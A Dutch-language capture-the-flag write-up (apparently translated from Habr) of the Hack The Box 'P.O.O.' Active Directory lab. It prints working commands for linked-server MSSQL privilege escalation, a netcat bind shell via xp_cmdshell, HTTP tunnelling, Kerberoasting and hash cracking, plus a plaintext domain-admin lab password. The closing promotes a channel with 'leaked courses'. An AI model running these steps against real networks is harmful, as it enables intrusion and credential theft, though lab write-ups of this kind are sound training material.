
In dit artikel bespreken we niet alleen een machine, maar een hele mini-laboratorium op het platform. .
Zoals in de beschrijving staat, is P.O.O. bedoeld om vaardigheden in alle fasen van aanvallen in een kleine Active Directory-omgeving te testen. Het doel is om een beschikbare host te compromitteren, de privileges te verhogen en uiteindelijk het hele domein te compromitteren, terwijl we 5 vlaggen verzamelen.
De verbinding met het laboratorium wordt gemaakt via VPN. Het wordt aanbevolen om je niet te verbinden vanaf je werkcomputer of een host waar belangrijke gegevens op staan, aangezien je in een privĆ©netwerk komt met mensen die iets kunnen op het gebied van informatiebeveiliging š
Organisatie-informatie
Om je op de hoogte te houden van nieuwe artikelen, software en andere informatie, heb ik een en op het gebied van Informatiebeveiliging en Cyberbeveiliging. Ook zal ik persoonlijke verzoeken, vragen, voorstellen en aanbevelingen .
Alle informatie is uitsluitend bedoeld voor educatieve doeleinden. De auteur van dit document aanvaardt geen enkele verantwoordelijkheid voor schade die aan iemand wordt toegebracht als gevolg van het gebruik van kennis en methoden die zijn verkregen door het bestuderen van dit document.
Intro
Dit endgame bestaat uit twee machines en bevat 5 vlaggen.

Er wordt ook een beschrijving en het adres van de beschikbare host gegeven.

Laten we beginnen!
Recon vlag
Deze machine heeft het IP-adres 10.13.38.11, dat ik toevoeg aan \/etc\hosts.
10.13.38.11 poo.htb
Als eerste scannen we de open poorten. Aangezien het lang duurt om alle poorten met nmap te scannen, doe ik dit eerst met masscan. We scannen alle TCP- en UDP-poorten vanaf de tun0-interface met een snelheid van 500 pakketten per seconde.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500 
Nu, om meer gedetailleerde informatie te krijgen over de diensten die op de poorten draaien, starten we een scan met de optie -A.
nmap -A poo.htb -p80,1433 
Op deze manier hebben we de diensten IIS en MSSQL. Daarbij leren we de echte DNS-naam van het domein en de computer. De webserver begroet ons met de startpagina van IIS.

Laten we de mappen doornemen. Hiervoor gebruik ik gobuster. In de parameters geef ik het aantal threads 128 (-t), de URL (-u), het woordenboek (-w) en de extensies die we interessant vinden (-x).
gobuster dir -t 128 -u poo.htb -w \/usr\/share\/seclists\/Discovery\/Web-Content\/raft-large-words.txt -x php,aspx,html 
Zo hebben we HTTP-authenticatie voor de map /admin, evenals het beschikbare opslagbestand van de desktopservice .DS_Store. .DS_Store zijn bestanden die gebruikersinstellingen voor een map opslaan, zoals de bestandslijst, de locatie van pictogrammen en de gekozen achtergrondafbeelding. Dergelijke bestanden kunnen in de webserverdirectory terechtkomen bij webontwikkelaars. Hierdoor verkrijgen we informatie over de inhoud van de catalogus. Hiervoor kunnen we gebruiken .
python3 dsstore_crawler.py -i http://poo.htb/ 
We verkrijgen de inhoud van de catalogus. Het interessantste hier is de catalogus /dev, waar we in twee takken de bronnen en db-bestanden kunnen bekijken. Maar we kunnen de eerste 6 tekens van de bestands- en mapnamen zien, als de service kwetsbaar is voor IIS ShortName. Om deze kwetsbaarheid te controleren, kunnen we .

En we vinden een tekstbestand dat begint met "poo_co". Niet wetende wat ik verder moest doen, heb ik gewoon alle woorden uit de directorywoordenlijst gekozen die beginnen met "co".
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txtEn we gaan deze doorlopen met wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404 
En we vinden het juiste woord! We bekijken dit bestand en slaan de inloggegevens op (gebaseerd op de parameter DBNAME zijn ze van MSSQL).

We geven de vlag in en we zijn met 20% gevorderd.

Huh vlag
We verbinden met MSSQL, ik gebruik DBeaver.

We vinden niets interessants in deze database, laten we een SQL-editor maken en kijken welke gebruikers er zijn.
SELECT name FROM master..syslogins; 
We hebben twee gebruikers. Laten we hun privileges controleren.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin'); 
Dus, we hebben geen privileges. Laten we de gekoppelde servers bekijken, over deze methode heb ik in detail geschreven. .
SELECT * FROM master..sysservers; 
Zo vinden we nog een SQL Server. Laten we uitvoerencommando's op deze server controleren met behulp van openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version'); 
En we kunnen zelfs querybomen opbouwen.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');Het is zo dat wanneer we een query naar de verbonden server uitvoeren, de query in de context van een andere gebruiker wordt uitgevoerd! Laten we kijken in welke context we op de verbonden server werken.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name'); 
Laten we nu kijken in welke context de queries van de verbonden server naar de onze worden uitgevoerd!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');'); 
Dus, dit is de DBO-context, die alle privileges zou moeten hebben. Laten we de privileges controleren in het geval van een query vanaf de verbonden server.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')'); 
Zoals je kunt opmerken, hebben we alle privileges! Laten we zo onze eigen admin maken. Maar via openquery mogen ze niet, laten we dit doen via EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";En nu loggen we in met de inloggegevens van de nieuwe gebruiker en zien de nieuwe database flag.

We zetten deze vlag in en gaan verder.

BackTrack vlag
Laten we een shell verkrijgen met behulp van MSSQL, ik gebruik mssqlclient uit het impacket-pakket.
mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC 
We moeten wachtwoorden verkrijgen, en het eerste dat we al zijn tegengekomen, is de website. Dus we hebben de configuratie van de webserver nodig (een handige shell droppen lijkt niet te werken, omdat er blijkbaar een firewall actief is).

Maar toegang is verboden. Hoewel we een bestand vanuit MSSQL kunnen lezen, moeten we alleen weten welke programmeertalen zijn ingesteld. En in de MSSQL-directory ontdekken we dat er Python beschikbaar is.

Dan is er geen probleem om het bestand web.config te lezen.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())" 
Met de gevonden inloggegevens gaan we naar \/admin en pakken we de vlag.


Foothold vlag
Eigenlijk zijn er enkele ongemakken bij het gebruik van een firewall, maar terwijl we de netwerkconfiguraties bekijken, merken we op dat er ook een IPv6-lek is!

Laten we dit adres toevoegen aan \/etc\/hosts.
dead:babe::1001 poo6.htb
Laten we de host opnieuw scannen, maar dit keer met het IPv6-protocol.

De WinRM-service is ook beschikbaar via IPv6. Laten we verbinding maken met de gevonden inloggegevens.

Er is een vlag op het bureaublad, laten we deze inleveren.

P00ned vlag
Na verkenning van de host met behulp van vinden we niets bijzonders. Daarom is besloten om opnieuw naar inloggegevens te zoeken (ik heb hier ook over geschreven ). Maar het lukte me niet om alle SPN's uit het systeem te halen via WinRM.
setspn.exe -T intranet.poo -Q *
* 
Laten we het commando via MSSQL uitvoeren.

Op deze manier krijgen we de SPN's van de gebruikers p00_hr en p00_adm, wat betekent dat ze kwetsbaar zijn voor een aanval zoals Kerberoasting. Samengevat, we kunnen hun wachtwoordhashes verkrijgen.
Eerst moeten we een stabiele shell krijgen als de MSSQL-gebruiker. Maar omdat we beperkt zijn in toegang, hebben we verbinding met de host alleen via poort 80 en 1433. Maar er is een mogelijkheid om verkeer via poort 80 te tunnelen! Hiervoor gebruiken we . Laten we het bestand tunnel.aspx in de thuismap van de webserver uploaden ā C:inetpubwwwroot.

Maar bij het proberen om het te benaderen, krijgen we een 404-fout. Dit betekent dat *.aspx-bestanden niet worden uitgevoerd. Om de bestanden met deze extensie uitvoerbaar te maken, installeren we ASP.NET 4.5 als volgt.
dism /online /enable-feature /all /featurename:IIS-ASPNET45 
![]()
En nu krijgen we een antwoord dat alles klaar is voor gebruik wanneer we tunnel.aspx aanroepen.
![]()
Laten we de clientzijde van de applicatie starten, die verantwoordelijk is voor het doorsturen van verkeer. We zullen al het verkeer van poort 5432 naar de server omleiden.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx 
En we gebruiken proxychains om verkeer van elke applicatie via onze proxy te sturen. Laten we deze proxy toevoegen aan het configuratiebestand /etc/proxychains.conf.

Nu laden we het programma , waarmee we een stabiele bind-shell maken, en het script , waarmee we de Kerberoasting-aanval uitvoeren.

Nu starten we de listener via MSSQL.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321 
En we verbinden via onze proxy.
proxychains rlwrap nc poo.htb 4321 
Laten we de hashes verkrijgen.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt 
Daarna moeten we deze hashes kraken. Aangezien het rockyou-woordenboek deze wachtwoorden niet bevatte, heb ik ALLE woordenboeken met wachtwoorden uit Seclists gebruikt. We gebruiken hashcat om te kraken.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --forceEn we vinden beide wachtwoorden, de eerste in het woordenboek dutch_passwordlist.txt en de tweede in Keyboard-Combinations.txt.


Dus we hebben drie gebruikers, we gaan naar de domeincontroller. Eerst ontdekken we het adres.

Geweldig, we hebben het IP-adres van de domeincontroller ontdekt. Laten we alle gebruikers van het domein leren kennen en ook wie van hen de administrator is. We zullen het script PowerView.ps1 downloaden om informatie te verkrijgen. Vervolgens verbinden we met evil-winrm en geven we de directory met het script op in de parameter -s. Daarna laden we gewoon het PowerView-script.

Nu zijn al zijn functies voor ons beschikbaar. Gebruiker p00_adm lijkt een geprivilegieerde gebruiker, dus we gaan in zijn context werken. We creƫren een PSCredential-object voor deze gebruiker.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$CpassNu zullen alle PowerShell-commando's waarbij we Creds opgeven, worden uitgevoerd namens p00_adm. Laten we een lijst van gebruikers en het attribuut AdminCount weergeven.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount 
Dus, onze gebruiker is daadwerkelijk geprivilegieerd. Laten we zien in welke groepen hij zit.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds 
We bevestigen uiteindelijk dat de gebruiker een domeinadministrator is. Dit geeft hem het recht om op afstand in te loggen op de domeincontroller. Laten we proberen in te loggen via WinRM met onze tunnel. Ik was verontrust door de fouten die reGeorg gaf bij het gebruik van evil-winrm.

Laten we een andere, eenvoudigere, voor verbinding met WinRM gebruiken. We openen en wijzigen de verbindingsparameters.

We proberen verbinding te maken en we zijn in het systeem.

Maar de vlag is er niet. Laten we de gebruiker bekijken en de bureaubladen controleren.

Bij mr3ks vinden we de vlag en het laboratorium is helemaal afgerond.

Dat is het. Als feedback, laat een opmerking achterāheeft u iets nieuws geleerd van dit artikel en was het nuttig voor u?
Je kunt je bij ons voegen op . Daar vind je interessante materialen, uitgelekte cursussen en software. Laten we een gemeenschap vormen met mensen die veel gebieden van IT begrijpen, zodat we elkaar altijd kunnen helpen met vragen over IT en beveiliging.
Bron: habr.com
